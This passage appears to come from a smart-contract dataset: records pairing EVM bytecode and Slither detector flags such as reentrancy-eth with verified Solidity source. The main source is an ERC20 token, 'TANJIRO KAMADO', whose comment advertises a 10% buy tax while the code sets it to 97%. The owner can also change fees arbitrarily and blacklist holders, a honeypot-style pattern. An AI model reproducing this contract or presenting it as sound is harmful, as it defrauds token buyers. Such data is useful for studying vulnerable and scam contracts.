000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61340e81612f86565b811461341957600080fd5b50565b61342581612f98565b811461343057600080fd5b50565b61343c81612fc4565b811461344757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220353e05b96ede60568d0dc24eda18d697150e6fe5318790072ad766533bfd5ef564736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,241 |
0x42d6a6b735a0df6a995c2847e435a57bc10f96ef
|
/**
*Submitted for verification at Etherscan.io on 2022-04-13
*/
/**
*Submitted for verification at Etherscan.io on 2022-04-13
*/
// Twitter: https://twitter.com/TanjiroERC
// Telegram: @TanjiroKamadoERC
// Website: tanjirokamadoerc.com
// Buy tax 10% / Sell tax 10% | 3% reflections , 5% marketing , 2% liquidity
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TanjiroKamado is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "TANJIRO KAMADO";
string private constant _symbol = "TANJIRO KAMADO";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 97;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 10;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x25B60DBff4C9ca040019214327f8D5288343bD06);
address payable private _marketingAddress = payable(0x25B60DBff4C9ca040019214327f8D5288343bD06);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = true;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000 * 10**9; // 2% max tx
uint256 public _maxWalletSize = 20000 * 10**9; // 2% max wallet
uint256 public _swapTokensAtAmount = 3000 * 10**9; // 0.3% swapatamount
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610528578063dd62ed3e14610548578063ea1644d51461058e578063f2fde38b146105ae57600080fd5b8063a2a957bb146104a3578063a9059cbb146104c3578063bfd79284146104e3578063c3c8cd801461051357600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b41146101fe57806398a5c3151461048357600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611930565b6105ce565b005b34801561020a57600080fd5b50604080518082018252600e81526d54414e4a49524f204b414d41444f60901b6020820152905161023b91906119f5565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a4a565b61066d565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b5066038d7ea4c680005b60405190815260200161023b565b3480156102dc57600080fd5b506102646102eb366004611a76565b610684565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b506040516009815260200161023b565b34801561032e57600080fd5b50601554610294906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611ab7565b6106ed565b34801561036e57600080fd5b506101fc61037d366004611ae4565b610738565b34801561038e57600080fd5b506101fc610780565b3480156103a357600080fd5b506102c26103b2366004611ab7565b6107cb565b3480156103c357600080fd5b506101fc6107ed565b3480156103d857600080fd5b506101fc6103e7366004611aff565b610861565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611ab7565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610294565b34801561045957600080fd5b506101fc610468366004611ae4565b610890565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b506101fc61049e366004611aff565b6108d8565b3480156104af57600080fd5b506101fc6104be366004611b18565b610907565b3480156104cf57600080fd5b506102646104de366004611a4a565b610945565b3480156104ef57600080fd5b506102646104fe366004611ab7565b60106020526000908152604090205460ff1681565b34801561051f57600080fd5b506101fc610952565b34801561053457600080fd5b506101fc610543366004611b4a565b6109a6565b34801561055457600080fd5b506102c2610563366004611bce565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059a57600080fd5b506101fc6105a9366004611aff565b610a47565b3480156105ba57600080fd5b506101fc6105c9366004611ab7565b610a76565b6000546001600160a01b031633146106015760405162461bcd60e51b81526004016105f890611c07565b60405180910390fd5b60005b81518110156106695760016010600084848151811061062557610625611c3c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066181611c68565b915050610604565b5050565b600061067a338484610b60565b5060015b92915050565b6000610691848484610c84565b6106e384336106de85604051806060016040528060288152602001611d82602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111c0565b610b60565b5060019392505050565b6000546001600160a01b031633146107175760405162461bcd60e51b81526004016105f890611c07565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107625760405162461bcd60e51b81526004016105f890611c07565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b557506013546001600160a01b0316336001600160a01b0316145b6107be57600080fd5b476107c8816111fa565b50565b6001600160a01b03811660009081526002602052604081205461067e90611234565b6000546001600160a01b031633146108175760405162461bcd60e51b81526004016105f890611c07565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088b5760405162461bcd60e51b81526004016105f890611c07565b601655565b6000546001600160a01b031633146108ba5760405162461bcd60e51b81526004016105f890611c07565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109025760405162461bcd60e51b81526004016105f890611c07565b601855565b6000546001600160a01b031633146109315760405162461bcd60e51b81526004016105f890611c07565b600893909355600a91909155600955600b55565b600061067a338484610c84565b6012546001600160a01b0316336001600160a01b0316148061098757506013546001600160a01b0316336001600160a01b0316145b61099057600080fd5b600061099b306107cb565b90506107c8816112b8565b6000546001600160a01b031633146109d05760405162461bcd60e51b81526004016105f890611c07565b60005b82811015610a415781600560008686858181106109f2576109f2611c3c565b9050602002016020810190610a079190611ab7565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3981611c68565b9150506109d3565b50505050565b6000546001600160a01b03163314610a715760405162461bcd60e51b81526004016105f890611c07565b601755565b6000546001600160a01b03163314610aa05760405162461bcd60e51b81526004016105f890611c07565b6001600160a01b038116610b055760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bc25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f8565b6001600160a01b038216610c235760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f8565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f8565b6001600160a01b038216610d4a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f8565b60008111610dac5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f8565b6000546001600160a01b03848116911614801590610dd857506000546001600160a01b03838116911614155b156110b957601554600160a01b900460ff16610e71576000546001600160a01b03848116911614610e715760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f8565b601654811115610ec35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f8565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0557506001600160a01b03821660009081526010602052604090205460ff16155b610f5d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f8565b6015546001600160a01b03838116911614610fe25760175481610f7f846107cb565b610f899190611c83565b10610fe25760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f8565b6000610fed306107cb565b6018546016549192508210159082106110065760165491505b80801561101d5750601554600160a81b900460ff16155b801561103757506015546001600160a01b03868116911614155b801561104c5750601554600160b01b900460ff165b801561107157506001600160a01b03851660009081526005602052604090205460ff16155b801561109657506001600160a01b03841660009081526005602052604090205460ff16155b156110b6576110a4826112b8565b4780156110b4576110b4476111fa565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110fb57506001600160a01b03831660009081526005602052604090205460ff165b8061112d57506015546001600160a01b0385811691161480159061112d57506015546001600160a01b03848116911614155b1561113a575060006111b4565b6015546001600160a01b03858116911614801561116557506014546001600160a01b03848116911614155b1561117757600854600c55600954600d555b6015546001600160a01b0384811691161480156111a257506014546001600160a01b03858116911614155b156111b457600a54600c55600b54600d555b610a4184848484611441565b600081848411156111e45760405162461bcd60e51b81526004016105f891906119f5565b5060006111f18486611c9b565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610669573d6000803e3d6000fd5b600060065482111561129b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f8565b60006112a561146f565b90506112b18382611492565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061130057611300611c3c565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561135457600080fd5b505afa158015611368573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138c9190611cb2565b8160018151811061139f5761139f611c3c565b6001600160a01b0392831660209182029290920101526014546113c59130911684610b60565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113fe908590600090869030904290600401611ccf565b600060405180830381600087803b15801561141857600080fd5b505af115801561142c573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061144e5761144e6114d4565b611459848484611502565b80610a4157610a41600e54600c55600f54600d55565b600080600061147c6115f9565b909250905061148b8282611492565b9250505090565b60006112b183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611637565b600c541580156114e45750600d54155b156114eb57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061151487611665565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154690876116c2565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115759086611704565b6001600160a01b03891660009081526002602052604090205561159781611763565b6115a184836117ad565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e691815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c680006116138282611492565b82101561162e5750506006549266038d7ea4c6800092509050565b90939092509050565b600081836116585760405162461bcd60e51b81526004016105f891906119f5565b5060006111f18486611d40565b60008060008060008060008060006116828a600c54600d546117d1565b925092509250600061169261146f565b905060008060006116a58e878787611826565b919e509c509a509598509396509194505050505091939550919395565b60006112b183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111c0565b6000806117118385611c83565b9050838110156112b15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f8565b600061176d61146f565b9050600061177b8383611876565b306000908152600260205260409020549091506117989082611704565b30600090815260026020526040902055505050565b6006546117ba90836116c2565b6006556007546117ca9082611704565b6007555050565b60008080806117eb60646117e58989611876565b90611492565b905060006117fe60646117e58a89611876565b90506000611816826118108b866116c2565b906116c2565b9992985090965090945050505050565b60008080806118358886611876565b905060006118438887611876565b905060006118518888611876565b905060006118638261181086866116c2565b939b939a50919850919650505050505050565b6000826118855750600061067e565b60006118918385611d62565b90508261189e8583611d40565b146112b15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f8565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c857600080fd5b803561192b8161190b565b919050565b6000602080838503121561194357600080fd5b823567ffffffffffffffff8082111561195b57600080fd5b818501915085601f83011261196f57600080fd5b813581811115611981576119816118f5565b8060051b604051601f19603f830116810181811085821117156119a6576119a66118f5565b6040529182528482019250838101850191888311156119c457600080fd5b938501935b828510156119e9576119da85611920565b845293850193928501926119c9565b98975050505050505050565b600060208083528351808285015260005b81811015611a2257858101830151858201604001528201611a06565b81811115611a34576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5d57600080fd5b8235611a688161190b565b946020939093013593505050565b600080600060608486031215611a8b57600080fd5b8335611a968161190b565b92506020840135611aa68161190b565b929592945050506040919091013590565b600060208284031215611ac957600080fd5b81356112b18161190b565b8035801515811461192b57600080fd5b600060208284031215611af657600080fd5b6112b182611ad4565b600060208284031215611b1157600080fd5b5035919050565b60008060008060808587031215611b2e57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5f57600080fd5b833567ffffffffffffffff80821115611b7757600080fd5b818601915086601f830112611b8b57600080fd5b813581811115611b9a57600080fd5b8760208260051b8501011115611baf57600080fd5b602092830195509350611bc59186019050611ad4565b90509250925092565b60008060408385031215611be157600080fd5b8235611bec8161190b565b91506020830135611bfc8161190b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7c57611c7c611c52565b5060010190565b60008219821115611c9657611c96611c52565b500190565b600082821015611cad57611cad611c52565b500390565b600060208284031215611cc457600080fd5b81516112b18161190b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1f5784516001600160a01b031683529383019391830191600101611cfa565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7c57611d7c611c52565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207957f64e4c877d73ee1deefe3ea55e8157211c8bead00aa95b9fc605f2bdb31864736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,242 |
0x6eca00ddc5960a809e76dfb7b5a3c425f1cb9d81
|
/**
*Submitted for verification at Etherscan.io on 2021-09-24
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of NFTs in `owner`'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the NFT specified by `tokenId`.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
*
*
* Requirements:
* - `from`, `to` cannot be zero.
* - `tokenId` must be owned by `from`.
* - `tokenId` must be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this
* NFT by either {approve} or {setApprovalForAll}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
* Requirements:
* - If the caller is not `from`, it must be approved to move this NFT by
* either {approve} or {setApprovalForAll}.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface IERC1155 is IERC165 {
/**
@dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard).
The `_operator` argument MUST be msg.sender.
The `_from` argument MUST be the address of the holder whose balance is decreased.
The `_to` argument MUST be the address of the recipient whose balance is increased.
The `_id` argument MUST be the token type being transferred.
